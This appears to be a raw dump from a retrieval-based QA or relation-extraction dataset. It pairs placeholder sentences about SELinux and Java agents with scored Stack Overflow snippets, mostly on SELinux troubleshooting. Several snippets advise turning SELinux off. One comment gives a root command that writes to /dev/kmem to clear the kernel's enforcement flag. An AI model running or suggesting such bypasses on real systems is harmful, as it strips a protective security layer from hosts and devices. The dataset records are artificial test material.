setters", "Question : I want to add an item to a collection using RacerJs DerbyJs but it just doesn t work . I must be really overlooking something.. . .. . .. . What I tried .. . .. . And that does set a news-item . However when I do this another time it will just overwrite the existing item and not add a new one . How to do that model.push news text : someText also fails with Object is not an array . Basically I just want the most basic version of a post an update and show on wall app without any rooms nor making use of Arrays . Just one collection and that s it . Stacktrace of the .push variant : Comment : What s the stack-trace Comment : Thanks for checking I updated the question with the stacktrace .. . Answer : To create an item in the collection you can call model.set with explicitly specified path containing document ID for example : .. . .. . model.id method will generate unique ID on each call to it . Comment : I tried that before but I thought it didn t work because apparently code model.subscribe news function err items .. . code does not work so my template never got updated . Now I built it listening to a query that returns all the news items and it works . Thanks", "Question : How can I count the results of a query without loading the whole resultset into memory The easy way of counting documents returned by a query would be : .. . .. . But this would load the whole resultset into memory and count an array in javascript . When you have lots of data you don t want to do this . I think . Counting the underlying mongodb collection is rather complicated since LiveDB I think it is LiveDB creates many mongodb documents for one derbyjs document . The internets point to this google groups thread https : groups.google.com forum topic derbyjs 1pcDUKSiuDI from 2013 but the solution described there putting count : true into the query options doesn t seem to work in DerbyJS 0.6 and current mongodb . . query.extraRef is undefined . .. . Answer : It is done like described in the google groups thread . But query.extraRef is now query.refExtra . Example : Comment : you still want count : true so that you don t fetch all the documents as well Comment : @enjalot of course . Thanks :" ] }
[ "yes-answer-long", "yes-answer-short" ]
synchronization
UNK_RELATION
selinux@implementation@54
selinux -- nsa security-enhanced linux selinux is an @placeholder of a flexible mandatory access-control architecture in the linux operating-system .
{ "confidence": [ 52.89527893066406, 48.92504119873047, 47.17488098144531, 45.05937957763672, 44.84608459472656, 42.98382568359375, 42.87355041503906, 41.94766616821289, 41.5804328918457, 41.172882080078125, 40.66371536254883, 40.367454528808594, 39.78966522216797, 39.50304412841797, 39.07611083984375, 38.78435134887695, 38.320335388183594, 38.320335388183594, 38.320335388183594, 37.63811492919922, 37.089168548583984, 36.929237365722656, 36.929237365722656, 36.929237365722656, 36.78706741333008, 36.78706741333008, 36.48012924194336, 35.8885498046875, 35.874114990234375, 35.63072204589844, 35.395973205566406, 34.727874755859375, 34.727874755859375, 34.727874755859375, 34.727874755859375, 34.616180419921875, 34.48301696777344, 34.48301696777344, 33.3367805480957, 33.09925842285156, 33.09925842285156, 33.09925842285156, 32.380897521972656, 32.06441116333008, 32.01886749267578, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.93858528137207, 31.7049617767334, 30.844017028808594, 30.844017028808594, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.547489166259766, 30.40766143798828, 30.06822395324707, 29.950294494628906, 29.747310638427734, 29.342098236083984, 29.342098236083984, 29.342098236083984, 29.342098236083984, 29.342098236083984, 29.342098236083984, 29.072057723999023, 29.072057723999023, 28.91567039489746, 28.79220199584961, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.181427001953125, 28.02245330810547, 27.453845977783203, 27.44023895263672, 27.41396713256836, 27.04263687133789 ], "content": [ "selinux linux firewall", "Further more I have really find that the code in selinux github https : github.com SELinuxProject selinux is much different with the code I have find in my local linux source in openwrt linux security selinux .", "I m using for 20 years linux without Selinux on more that 100 server .", "part : .. . .. . The Linux-Kernel offers an interface via Linux Security Modules LSM for SELinux and other security modules https : github.com torvalds linux tree master security that is what you see in your local linux source .", "Disabling selinux costs you one layer of security .", "In your etc selinux config file change SELINUX disabled .. . .. . Do a reboot of the system shutdown -r now", "But it seems that I still have to port selinux to linux my self", "http : www.serverlab.ca tutorials linux web-servers-linux configuring-selinux-policies-for-apache-web-servers .. . .. . There is also more info here .. . .. . https : wiki.centos.org HowTos SELinux head-0f6390ddacfab39ee973ed8018a32212c2a02199", "Disabling SELinux is an unnecessary security risk .", "if the full message is : .. . .. . then you should have disabled selinux linux firewall and after that you have rebooted the system .", "wiki.centos.org HowTos SELinux https : wiki.centos.org HowTos SELinux search for : 7 .", "Is SELinux enabled", "Rebooted and system booted .. . .. . etc selinux config before change : .. . .. . SELINUX enforcing and SELINUXTYPE permissive .. . .. . etc selinux config after change : SELINUX permissive and SELINUXTYPE permissive", "When confident that SELinux is disabled then your problem is not related to SELinux .", "I am building an openwrt system with selinux support .", "According manual and several tips on internet .. . .. . Edit etc sysconfig selinux SELINUX disabled .. . Edit or search on grub.conf for selinux options .", "Your SELinux type is not correct .", "Discovered the problem is caused by selinux", "Without SELinux this works perfectly .", "I am using Debian 6 with SELinux enabled .", "If it s not then change in etc selinux config : SELINUX disabled to be sure you can reboot your system but setenforce 0 should also be working .", "it was SELinux related see below", "Open command and fix selinux .", "Is there something to do with SeLinux", "I am trying to learn Selinux .", "@hakre it is SELinux that is giving me problem .", "Disabling SELinux http : www.crypt.gen.nz selinux disable selinux.html solved the problem .", "Creating Custom SELinux Policy Modules with audit2allow", "on Red Hat : The containers created with Docker are automatically assigned with an SELinux context specified in the SELinux policy .", "Mostly these are system applications they fall into definition of platform app in the Android SELinux .", "Make sure SELINUX enforcing or disabled", "My Server is .. . CentOS7 .. . Apache 2.4 .. . SELinux enabled .", "SELinux is very problematic and can be very difficult to manage .", "SELinux is really the least of your problems here .", "You said your application requires SELinux .", "Update .. . .. . Tried audit2allow as mentioned by Google here https : source.android.com security selinux validate.html .. . .. . Got errors .", "To check if SELinux is already enabled try the command id -Z but if you see an error message the LSM SELinux is not active .", "Booting from CD to rescue the installation and editing etc selinux config : changed SELINUX from enforcing to permissive .", "I know that selinux is already supported in linux2.6 .", "How do I add SELinux rule to allow this socket", "@Chev 603 I mean remove the SELinux feature remove NOT enable it again .", "I m completely new in selinux and don t have any experience .", "I m running a system with httpd infront of tomcat which I am trying to move to a CentOS7 environment with SELinux enabled .", "Was my assumption truly flawed to begin with or might there be a security risk in my local SELinux policy", ".. . .. . The following is a direct excerpt from the fedoraproject s wiki on SELinux https : fedoraproject.org wiki SELinux apache about the httpd enable homedirs boolean : .. . .. . httpd by default is not allowed to access users home directories .", "Read more on http : beginlinux.com blog 2008 11 vsftpd-and-selinux-on-centos", "You need to run the following commands to allow in SELinux upload and edit files :", "Check with : getenforce if SELinux is really disabled it has to show : Disabled .", "Does anyone know how to permit smbclient through selinux", "This seems to be partly SELinux problem an partly serious MariaDB bug .", "This works without SELinux setenforce 0 but is blocked I enable .", "Web searches suggest that simply disabling SELINUX is not that simple and might not be the best idea .", "I discovered that SELinux denied gitweb.cgi from accessing some files .", "Gitweb is able to show the repositories only after putting SELinux into permissive mode .", "But I get following errors : .. . .. . The selinux is permissive in the virtual-machine .", "Some of the application inside our Cent OS Docker require SELinux support .", "You will not be able to use some docker with and some without selinux .", "Label your directory with the correct SELinux label .", "Why am I able to access http : localhost myusername in Fedora20 with SELinux set to Enforcing if the httpd enable homedirs boolean is set to off", "Lollipop enforced SELinux so I need to create rules for my applications that need access to the device s sysfs file .", "Perhaps the apache group use is bypassing SELinux homedir logic", "Almost everything is owned by selinux-policy-targeted- FOO- BAR.noarch normally .", "And then I know that there is a libselinux library needed to build busybox with selinux support .", "To manage SELinux and its policies there are some userland tools that is your github link .", "6.3 running in VirtualBox .. . .. . The issue can be that the basic selinux permissions are wrong .", "Go into OS .. . 5 . vim or nano etc selinux config .. . 6 .", "It seems that not all sysfs files are put into the correct selinux context .", "The solution for me was to trigger selinux to restore the file contexts using restorecon 8 .", "I have seen that selinux need to enable auditing support .", "I downloaded SELinux Mode Changer and set SELinux to permissive and I made sure that it was set to permissive by checking its status in About phone in the settings .", "I found several posts proposing to use selinux and configure file system to deny access to other users directories by means of permissions like I did with HOME by setting it to 700 and at the same time to grant Apache process by means of selinux to access home public html along with all its sub-directories .", ".. . .. . SELinux policy modules .. . .. . In an attempt to narrow down the possible cause of this inconsistency I issued the following command as suggested by user @FeRD that lists custom irregular SELinux policy files which were not provided owned by the selinux-policy-targeted package :", "Step by step : .. . .. . Source Package files for Debian 6 selinux-policy-default https : packages.debian.org squeeze selinux-policy-default .. . run dpkg-source -x refpolicy 0.2.20100524-7+squeeze1.dsc .. . goto refpolicy-0.2.20100524 directory and make your changes .. . build new debian package dpkg-buildpackage .. . install new package dpkg -i . . selinux-policy-default 0.2.20100524-7+squeeze1 all.deb", "When client starts I see that SElinux doesn t like it and throws out this : .. . .. . This socket does not have a real path .", "I have no real experience in SELinux so I am pretty much stuck here .", "I m Qualcomm platform developer .. . .. . How can we disable remove SELinux feature from software image during compiling", "In a word I need remove the SELinux feature from android .. . .. . BTW : .. . .. . set setenforce 0 or set getenforce works well", "Include this new kernel in your boot image and the result will be a device without any SELinux support at all .", "I am using fedora-21 I have written a selinux policy moudle for an application .", "SELinux policies itself are compiled .pp files which consist of .te if fc files and there are ready-to-use rules called SELinux Reference Policy Project https : github.com TresysTechnology refpolicy wiki .", "The easier is to use a live OS and re-enable it .. . .. . Second choise is to disable selinux in the kernel arguments by adding selinux 0 .. . .. . source kernel panic - not syncing : Attempted to kill inint", "There might be a selinux boolean that let you do such thing relatively painlessly .", "That sounds wonderful to me recently we have had a problem with an unpatched apache just because selinux was turned off for a couple of minutes for testing. .", "Solved a SELinux problem I am somewhat new to the Fedora distribution I have installed at the moment .", "Showing following things in the var log httpd error-log : .. . .. . Actually i have already disabled the SELinux .", "Httpd is telling you in the log that it would be running with the context unconfined u : system r : httpd t : s0 but since SELinux is disabled there is no way that this is enforced .", "Server is CentOS 6 .. . .. . UPDATE .. . .. . I ve narrowed the issue down to being caused by SELinux I temporarily disabled it .", "SELinux has boolean httpd can network connect db which defines whether HTTP server scripts and modules can connect to database server or not .", "A rewrite rule changes the request to a tomcat call but that is being applied after the selinux check", "The answer is staring right in front of me but I miss it due to my unfamiliarity with SELinux .", "The SELinux context type should be set as httpd sys content rw t instead of httpd sys content t so that the folder is both readable and writable for apache .", "I have the following SELinux log but I really have no ideas what to do with it .", "duplicate of serverfault.com questions 757606 http : serverfault.com questions 757606 how-to-enable-selinux-inside-of-a-centos-docker-container", "How can I let my the docker know about regular virtual-machine SELinux set up", "I quote : If your application requires SELinux you cannot use it inside Docker .", "examples : .. . .. . show reason for denied access : cat audit.log audit2why .. . create SELinux-Policy foo.pp : cat audit.log audit2allow -M foo", "When I searched I found that it might be due to the enforcement of SELinux which prevents some actions from being executed for security purposes .", "If you wish to go the SELinux way that is what you need to do I don t know much about AppArmor and other alternatives but as you say the Ubuntu wiki is not very clear about selinux support .", "when I try to sandbox a program : .. . .. . I m getting error : .. . .. . do you know which privileges do I have to allow in selinux that program will have access to urandom", "I tried ls -l getfattr xattr but nothing worked.. . .. . .. . After applying the selinux attribute values how can i read it" ] }
{ "confidence": [ 61.83232879638672, 56.5568962097168, 54.344017028808594, 50.51250457763672, 49.52671432495117, 48.10392379760742, 47.91107940673828, 46.45491027832031, 46.43967056274414, 46.27705001831055, 45.354400634765625, 43.86721420288086, 43.698646545410156, 43.09524154663086, 42.6512451171875, 42.297096252441406, 42.2288818359375, 41.97294616699219, 41.47415542602539, 40.935035705566406 ], "content": [ "Question : I am building an openwrt system with selinux support . First I meet the bug that cannot find during busybox compiling . And then I know that there is a libselinux library needed to build busybox with selinux support . As I am not very familiar with the openwrt Makefile I want to know how to add a library in to it Is there any guide Further more I have really find that the code in selinux github https : github.com SELinuxProject selinux is much different with the code I have find in my local linux source in openwrt linux security selinux . Why I know that selinux is already supported in linux2.6 . But it seems that I still have to port selinux to linux my self This problem has blocked me long time . Any soft of help will be greatly appreciated thanks .. . Answer : I only know SELinux on Debian but since you mix different things I will answer the Why part : .. . .. . The Linux-Kernel offers an interface via Linux Security Modules LSM for SELinux and other security modules https : github.com torvalds linux tree master security that is what you see in your local linux source . To manage SELinux and its policies there are some userland tools that is your github link . SELinux policies itself are compiled .pp files which consist of .te if fc files and there are ready-to-use rules called SELinux Reference Policy Project https : github.com TresysTechnology refpolicy wiki . There are some more tools needed to work with SELinux like fixfiles and restorecon to set the needed labels . To check if SELinux is already enabled try the command id -Z but if you see an error message the LSM SELinux is not active . I guess it could be possible to activate it with openwrt because its part of busybox config selinux https : github.com openwrt-mirror openwrt tree master package utils busybox config selinux so you could try the command sestatus to see if it is enabled . On Debian one can do touch .autorelabel and reboot to force relabeling the system . Comment : Thans @andpei this really helps a lot . Now I know what I have to do is to move the userland tools to openwrt . Besides only enable selinux in busybox cannot pass compile it seems that busybox need the header from the libraries in the userland tools .", "Question : According manual and several tips on internet .. . .. . Edit etc sysconfig selinux SELINUX disabled .. . Edit or search on grub.conf for selinux options . touch .autorelabel .. . Reboot machine .. . .. . After reboot .. . Answer : For me work add to grub.conf .. . .. . After reboot . Comment : Disabling selinux costs you one layer of security . perhaps you might be doing some testing here. . Also such questions would better fit in U L http : unix.stackexchange.com Comment : I m using for 20 years linux without Selinux on more that 100 server . After this years any problem . Security not equal a paranoid . IHMO . Comment : That sounds wonderful to me recently we have had a problem with an unpatched apache just because selinux was turned off for a couple of minutes for testing. . Comment : Just a good timeline for upgrades use mod-security instead thre re a lot of ways for secure a server . If your problem it s a proxy exploit ohh . link-to several security mail list for patch your software and your security apps .", "Question : I m running a system with httpd infront of tomcat which I am trying to move to a CentOS7 environment with SELinux enabled . A quirk in this system is that it rewrites some requests that look like file requests and routes them through tomcat . This works without SELinux setenforce 0 but is blocked I enable . core : error 13 Permission denied : AH00035 : access to images 200x200 22994.jpg denied filesystem path usr share tomcat webapps ROOT images because search permissions are missing on a component of the path .. . .. . Without changing the filesystem is there any way to get httpd to do the rewrite before it checks permissions .. . Answer : SELinux is very problematic and can be very difficult to manage . If you actually want to keep it on you need to give specific access to file paths that httpd might be trying to access . Using semanage you can do this using httpd sys rw content t to allow read-write access . Have a look at this article that lays out these policies to show how to use it for specific paths . http : www.serverlab.ca tutorials linux web-servers-linux configuring-selinux-policies-for-apache-web-servers .. . .. . There is also more info here .. . .. . https : wiki.centos.org HowTos SELinux head-0f6390ddacfab39ee973ed8018a32212c2a02199 Comment : I understand that and have changed context on some folder already . But my point is that there isnt a file at that address being accessed . A rewrite rule changes the request to a tomcat call but that is being applied after the selinux check", "Question : I was trying to update libc in our Ubuntu server but it failed and now when I reboot the server I get a error message : .. . .. . Kernel panic - not syncing - Attempted to kill init and it just hangs . What is the solution to this problem The server is used by 10 people so I don t want to reinstall erasing their data . Comment : Kernel panics happen for a variety of reasons . Often due to hardware failure.. . You ll need to check out var log dmesg and var log syslog to get more info about what actually happened . Comment : You should try to boot using a Live CD and then mount the HDD partition that held and lib . Then try to restore the libc files . Comment : This isn t really the right forum for this question . You re better off asking on superuser.com or ubuntu.stackexchange.com . This question looks like it ll be migrated to superuser.com shortly . .. . Answer : if the full message is : .. . .. . then you should have disabled selinux linux firewall and after that you have rebooted the system . The easier is to use a live OS and re-enable it .. . .. . Second choise is to disable selinux in the kernel arguments by adding selinux 0 .. . .. . source kernel panic - not syncing : Attempted to kill inint http : www.linuxcat.org showthread.php tid 59 Comment : selinux linux firewall Comment : The second does not work when using qemu 2.6.0 for an ARM debian rasbian system .", "Question : I m Qualcomm platform developer .. . .. . How can we disable remove SELinux feature from software image during compiling In a word I need remove the SELinux feature from android .. . .. . BTW : .. . .. . set setenforce 0 or set getenforce works well Comment : mv Android.mk Android.mk.bak external libselinux than make -j16 unfortunately an error occur make : No rule to make target NOTICE-HOST-STATIC LIBRARIES-libselinux needed by out host linux-x86 bin fastboot . Stop Comment : By remove do you mean remove and enable it again after you compile your software I hope Something like this might work assuming you have root : su printf x00 su -c dd of dev kmem seek printf d n 0x cat proc kallsyms grep . selinux enforcing cut -f 1 -d bs 1 count 1 conv notrunc or see this. . not sure what exactly you re trying to do . forum.xda-developers.com showthread.php t 2765353 http : forum.xda-developers.com showthread.php t 2765353 Comment : @Chev 603 I mean remove the SELinux feature remove NOT enable it again . Comment : You can disable it in the kernel . It s just like any other linux-kernel . See this thead too : stackoverflow.com questions 30998343 https : stackoverflow.com questions 30998343 how-to-set-selinux-to-0-or-permissive-mode-in-android-4-4-4-and-above Comment : And certaintly you can set it to permissive as an alternative . I mean is that an option .. . Answer : Rebuild the kernel with CONFIG SECURITY SELINUX n . This is found in the kernel defconfig for your platform . For example to completely disable SELinux in the hammerhead Nexus 5 kernel change arch arm configs hammerhead defconfig per above and rebuild the kernel . Include this new kernel in your boot image and the result will be a device without any SELinux support at all . getenforce will return Disabled .", "Question : null .. . Answer : I have modified bluedroid to include a small unix-socket server for reasons . When client starts I see that SElinux doesn t like it and throws out this : .. . .. . This socket does not have a real path . How do I add SELinux rule to allow this socket Update .. . .. . Tried audit2allow as mentioned by Google here https : source.android.com security selinux validate.html .. . .. . Got errors . I have no real experience in SELinux so I am pretty much stuck here . Comment : Please find a full and detailed documentation on how to use audit2allow . wiki.centos.org HowTos SELinux https : wiki.centos.org HowTos SELinux search for : 7 . Creating Custom SELinux Policy Modules with audit2allow", "Question : According manual and several tips on internet .. . .. . Edit etc sysconfig selinux SELINUX disabled .. . Edit or search on grub.conf for selinux options . touch .autorelabel .. . Reboot machine .. . .. . After reboot .. . Answer : I think you missed letter d in the end . In your etc selinux config file change SELINUX disabled .. . .. . Do a reboot of the system shutdown -r now Comment : A lot of thanks . I correct my post . Comment : This should have been a comment not an answer .", "Question : I have seen that selinux need to enable auditing support . I want to know the difference between audit and audit2allow can I just use audit2allow instead of audit It seems that no audit support in android code only audit2allow . For the audit I mean the audit package at http : people.redhat.com sgrubb audit . .. . Answer : audit is a daemon which log denied access AVC https : access.redhat.com documentation en-US Red Hat Enterprise Linux 6 html Security-Enhanced Linux chap-Security-Enhanced Linux-Troubleshooting.html into var log audit audit.log .. . .. . audit2allow is a user-tool to transfer AVP-log into a SELinux-Policy . examples : .. . .. . show reason for denied access : cat audit.log audit2why .. . create SELinux-Policy foo.pp : cat audit.log audit2allow -M foo Comment : Very helpful thanks", "Question : I want to read the capabilities of a file in linux . I want answer something like this with complete details.. . I tried ls -l getfattr xattr but nothing worked.. . .. . .. . After applying the selinux attribute values how can i read it Please help .. . Answer : Have you tried ls with -Z option . In SE Linux many of the common commands eg ls cp mv have been modified to include options eg . -Z to display the information related to SE Linux .", "Question : I m on RHEL 6.5 and Apache 2.2.15 . When i now restart the HTTPD i can not start that httpd anymore . Showing following things in the var log httpd error-log : .. . .. . Actually i have already disabled the SELinux . What should i do please .. . Answer : Check with : getenforce if SELinux is really disabled it has to show : Disabled . If it s not then change in etc selinux config : SELINUX disabled to be sure you can reboot your system but setenforce 0 should also be working . When confident that SELinux is disabled then your problem is not related to SELinux . Httpd is telling you in the log that it would be running with the context unconfined u : system r : httpd t : s0 but since SELinux is disabled there is no way that this is enforced .", "Question : null .. . Answer : Why am I able to access http : localhost myusername in Fedora20 with SELinux set to Enforcing if the httpd enable homedirs boolean is set to off .. . .. . The following is a direct excerpt from the fedoraproject s wiki on SELinux https : fedoraproject.org wiki SELinux apache about the httpd enable homedirs boolean : .. . .. . httpd by default is not allowed to access users home directories . If you want to allow access to users home directories you need to set the httpd enable homedirs boolean and change the context of the files that you want people to access off the home dir . I have a directory within the home user directory that I had set up in a prior release F19 to serve content files on the server home user public html marked with the label httpd user content t . The directory is owned by reg user : apache regular user is part of the apache group . However based on the SELinux documentation I had assumed that I would be unable to access http : localhost reg user unless the above-mentioned boolean was switched from off to on yet I m able to do so without any prompts errors while in Enforcing mode . Was my assumption truly flawed to begin with or might there be a security risk in my local SELinux policy BTW : the server s hosted in var www .. . .. . .. . .. . Troubleshoot .. . .. . After changing the group ownership of the directory back to the reg user s group there was no noticeable difference in behavior with the httpd enable homedirs boolean . However I have a configuration file for the server that does specify the public html directory to be served mapped to http : server username : .. . .. . along with a Directory block containing further restrictions permissions and access-control . Maybe the server follows these directions at this point regardless of the httpd enable homedirs boolean is the SELinux boolean primarily needed during the initial setup for the searchpath permissions Since the home user public html directory is labeled with the correct fcontext i.e . httpd user content t that s the only explanation I can come up with to why SELinux is not blocking apache from accessing it . .. . .. . SELinux policy modules .. . .. . In an attempt to narrow down the possible cause of this inconsistency I issued the following command as suggested by user @FeRD that lists custom irregular SELinux policy files which were not provided owned by the selinux-policy-targeted package : Comment : Interesting because I just hit this in the opposite direction I couldn t get http : server user to serve until I flipped that boolean . I was getting httpd AVC denials for both search and getattr home user and var log httpd error-log showed error AH00035 search permissions missing on path . However in my situation neither the files nor the user are owned members of the apache group . Nor do they need to be after flipping the boolean . The public html-tree has the context httpd user content t though . Perhaps the apache group use is bypassing SELinux homedir logic Comment : I m not sure what the issue is on your server but this definitely isn t the case normally.That configuration you mention etc httpd conf.d userdir.conf is a standard part of Fedora apache distribution everyone has the same config and it definitely shouldn t bypass SELinux like you say.In fact I just experimentally tried chgrp-ing my HOME public html-tree to apache and STILL the boolean is respected so my guess was wrong there . sudo setsebool httpd enable homedirs off instant 403 errors on reload . sudo setsebool httpd enable homedirs on content is visible again . FeRD Feb 26 at 0 : 18 Comment : hmm...I have the httpd enable homedirs boolean set to off still but the server continues to display the list of folders contained within the home user public html location through localhost myusername . Maybe it s a different service that s allowing it Is that a possibility Or a different boolean Comment : Even with the boolean on working or maybe I should just say irrespective of SELinux you need perms 711 on the user s homedir and at least 755 on USER public html or you ll get Forbidden errors . httpd running as apache : apache has to have directory browse access to USER public html or it can t serve what s inside it . That s discussed in the comments at the top of etc httpd conf.d userdir.html . Comment : One thing you could try doing is running the following as root : find etc selinux -print0 xargs -0 -n10 rpm -qf that ll let you know if there s anything foreign installed in selinux as well as the sources of what s supposed to be there . Almost everything is owned by selinux-policy-targeted- FOO- BAR.noarch normally . Maybe there s a policy module installed that s granting httpd access to files it shouldn t have", "Question : null .. . Answer : I have a very simple page attempting to shell-exec to initiate a smbclient . The line works fine in interactive shell but fails in the browser . Interactive Shell .. . .. . This works as intended . However when doing it in a PHP file powered by Apache I get this : .. . .. . Test PHP File executed in browser .. . .. . When attempting to use libsmbclient for php I get the following error : .. . .. . Warning : Couldn t open SMB directory smb : IP Share : unknown error 110 .. . .. . Does anyone have any ideas what could be causing it to work in interactive shell but not in the browser Server is CentOS 6 .. . .. . UPDATE .. . .. . I ve narrowed the issue down to being caused by SELinux I temporarily disabled it . Does anyone know how to permit smbclient through selinux Comment : it sounds like permissions issues.. . Comment : are you running apache on linux or windows Comment : What is your question Comment : Edited to include question and server Centos . I ve gave the file 777 to check permissions and it isn t working Comment : Discovered the problem is caused by selinux", "Question : null .. . Answer : I m running XFCE4.10 on ubuntu mint 17.1 . Xampp start fine when i manually open manager-linux-x64.run from opt lampp but once i create a shortcut on the desktop from Thunar 1.6.3 this new shortcut won t start xampp nothing happens . When i try to launch that shortcut from a terminal i get the following error : .. . .. . Unable to initialize installer . Is tmp writable Is SELinux enabled You may need to disable it temporarily Please see below for details http : fedora.redhat.com docs selinux-faq-fc3 index.html id2826056 Comment : so what are the answers to those questions can you add them to your question", "Question : null .. . Answer : Some of the application inside our Cent OS Docker require SELinux support . This Cent OS Docker is running in Ubuntu 14.040 image . How can I support it Help would be appreciated . Thanks .. . Rama Krishna Comment : duplicate of serverfault.com questions 757606 http : serverfault.com questions 757606 how-to-enable-selinux-inside-of-a-centos-docker-container Comment : Good the question is duplicate but I would like to get some more info added to the answer . How can I let my the docker know about regular virtual-machine SELinux set up That means do I have to start my docker with some additional flags Comment : You said your application requires SELinux . I quote : If your application requires SELinux you cannot use it inside Docker . You will need to use a regular virtual-machine . Comment : Thanks lorenz but the application are inside the Docker . Users will directly do the SSH to docker and access applications some functionalities of Cent OS . When I SSH to docker and see the sestatus it is disabled . There is no luck if I change the value to enforcing transmissive . Comment : I think you can use your apps when you enable selinux enforcing on the host machine but that s something you have to test . You will not be able to use some docker with and some without selinux . on Red Hat : The containers created with Docker are automatically assigned with an SELinux context specified in the SELinux policy .", "Question : I m trying to use Adminer https : www.adminer.org to connect to MariaDB database but I get Permission denied error when I press the Login-button . Note that this is NOT Access denied which I d expect if e.g . password is wrong . This is my first time using MariaDB and I m also quite new to CentOS do I m unsure of what is wrong here . Some debugging and settings about my system is listed below . Connecting to MariaDB from PHP does work e.g . with this test script : .. . .. . Using mysql -h 127.0.0.1 -u root -p from console also works and also netstat confirms that mysqld is listening : .. . .. . MariaDB Grants : .. . .. . Settings in Adminer : .. . .. . My system : .. . Answer : This seems to be partly SELinux problem an partly serious MariaDB bug . SELinux has boolean httpd can network connect db which defines whether HTTP server scripts and modules can connect to database server or not . This defaults to off : .. . .. . Turning this on and restarting Apache allows connecting from Adminer using Server : 127.0.0.1 : .. . .. . I m not sure whether restart is really required . Interestingly trying to connect using Server : localhost still doesn t work . I finally found out that MariaDB 10.1.16 has critical bugs concerning SELinux contexts : MDEV-10405 https : jira.mariadb.org browse MDEV-10405 MDEV-10404 https : jira.mariadb.org browse MDEV-10404", "Question : null .. . Answer : when I try to sandbox a program : .. . .. . I m getting error : .. . .. . do you know which privileges do I have to allow in selinux that program will have access to urandom I m completely new in selinux and don t have any experience . My usual action was : .. . .. . but I don t want to do it any more.. . .. . .. . my uname -a F21 : .. . .. . Thank you so much for your help j+", "Question : I am running Apache2 + userdir on Ubuntu Server 14.04 . Users are authenticated against AD and can successfully login to this server via SSH . Each user HOME has 700 permissions to disallow users to change and read other users files . Directory home public html is owned by Apache www-data : www-data and has permission 775 so each user members of group www-data can create his own subdirectory in home public html under his her username and create symbolic link-to it in his her HOME . Here is an example for a sample user with username jdoe43 : .. . .. . home Domain jdoe43 is a HOME directory it has permission 700 .. . home public html jdoe43 is a public html directory of user jdoe43 which is symbolically linked to home Domain jdoe43 public html .. . .. . UserDir directive is set to home public html . The rest of userdir.conf is default to Ubuntu installation and is listed below for reference : .. . .. . I m looking forward to find proper set of permissions to allow .. . .. . Apache process to access files in home public html .. . Users to have full control over their own public html directories .. . .. . and at the same time to disallow .. . .. . a user to see modify content of another user s HOME directory .. . a user to see modify content of another user s public html directory located in home public html .. . .. . All that I tried with different set of permissions ended up either with Apache not to have access to users public html or with users to have at least read access to other users HOME or public html . I found several posts proposing to use selinux and configure file system to deny access to other users directories by means of permissions like I did with HOME by setting it to 700 and at the same time to grant Apache process by means of selinux to access home public html along with all its sub-directories . I also found some resources stating that selinux in recent versions of Ubuntu was replaced in favor of apparmor so as I have limited experience in this technology I decided to postpone any movements towards its implementation . Any suggestions recommendations are highly appreciated . Thank you . Comment : Ubuntu or serverexchange is the best place for this question . .. . Answer : There might be a selinux boolean that let you do such thing relatively painlessly . The ubuntu wiki sends you to the debian SELinux page which confirms that they use the same refpolicies as other distributions of course . I just checked the policy for apache and the boolean is there . If you already have a selinux-enabled ubuntu you can easily check whether the boolean is enabled with .. . .. . and check if the boolean true or false it defaults to false . As shown here http : www.if-not-true-then-false.com 2010 enable-apache-userdir-with-selinux-on-fedora-centos-red-hat-rhel after enabling UserDir you need to enable the boolean .. . .. . And relabel the directories for each user .. . .. . Note that unix permissions on the public html directory are still 755 or whatever you need for your user groups setup . If you wish to go the SELinux way that is what you need to do I don t know much about AppArmor and other alternatives but as you say the Ubuntu wiki is not very clear about selinux support . If you have some spare time I d suggest to try it out on a test VM and see how it goes . Hope this helps", "Question : I was trying to update libc in our Ubuntu server but it failed and now when I reboot the server I get a error message : .. . .. . Kernel panic - not syncing - Attempted to kill init and it just hangs . What is the solution to this problem The server is used by 10 people so I don t want to reinstall erasing their data . Comment : Kernel panics happen for a variety of reasons . Often due to hardware failure.. . You ll need to check out var log dmesg and var log syslog to get more info about what actually happened . Comment : You should try to boot using a Live CD and then mount the HDD partition that held and lib . Then try to restore the libc files . Comment : This isn t really the right forum for this question . You re better off asking on superuser.com or ubuntu.stackexchange.com . This question looks like it ll be migrated to superuser.com shortly . .. . Answer : Booting from CD to rescue the installation and editing etc selinux config : changed SELINUX from enforcing to permissive . Rebooted and system booted .. . .. . etc selinux config before change : .. . .. . SELINUX enforcing and SELINUXTYPE permissive .. . .. . etc selinux config after change : SELINUX permissive and SELINUXTYPE permissive", "Question : I am using Debian 6 with SELinux enabled . Now I just want to change default policy and make my-policy as a active policy . For that I have downloaded debian s refpolicy and tried to compile it . It seems rolemap file is not found . But rolemap is defined in Makefile.src . Also parsing tmp example.tmp file failed at introduce line : 28 . Find output of make at below : .. . .. . How could I compile this policy .. . Answer : To add your my-policy into the debian s refpolicy you have to work with the refpolicy original sources and the debian package contains the example files . See how to work with debian sources http : ftp.debian.org debian doc source-unpack.txt . Instead of make you should use the Debian build tools . Step by step : .. . .. . Source Package files for Debian 6 selinux-policy-default https : packages.debian.org squeeze selinux-policy-default .. . run dpkg-source -x refpolicy 0.2.20100524-7+squeeze1.dsc .. . goto refpolicy-0.2.20100524 directory and make your changes .. . build new debian package dpkg-buildpackage .. . install new package dpkg -i . . selinux-policy-default 0.2.20100524-7+squeeze1 all.deb", "Question : I am trying to learn Selinux . With a sandbox and using VSFTPD to experiment with I have a vsfptd server running in Centos . I have annonmous users to place files in var ftp incoming . On a remote machine I can have the user successfully log in but could not place the file on the remove vsftpd server : .. . .. . On the VSFTPD server aureport -a report shows : .. . .. . I checked the directory and the file contexts look good so I don t understand why Selinux won t allow vsftpd to write to the incoming directory : .. . Answer : Your SELinux type is not correct . Use public content rw t instead of public content t . Read more on http : beginlinux.com blog 2008 11 vsftpd-and-selinux-on-centos" ] }
[ "yes-answer-long" ]
implementation
UNK_RELATION
javaagents@java@98
javaagents -- a java agent allows for the instrumentation of a java application by using another @placeholder program that is specified on the command-line .
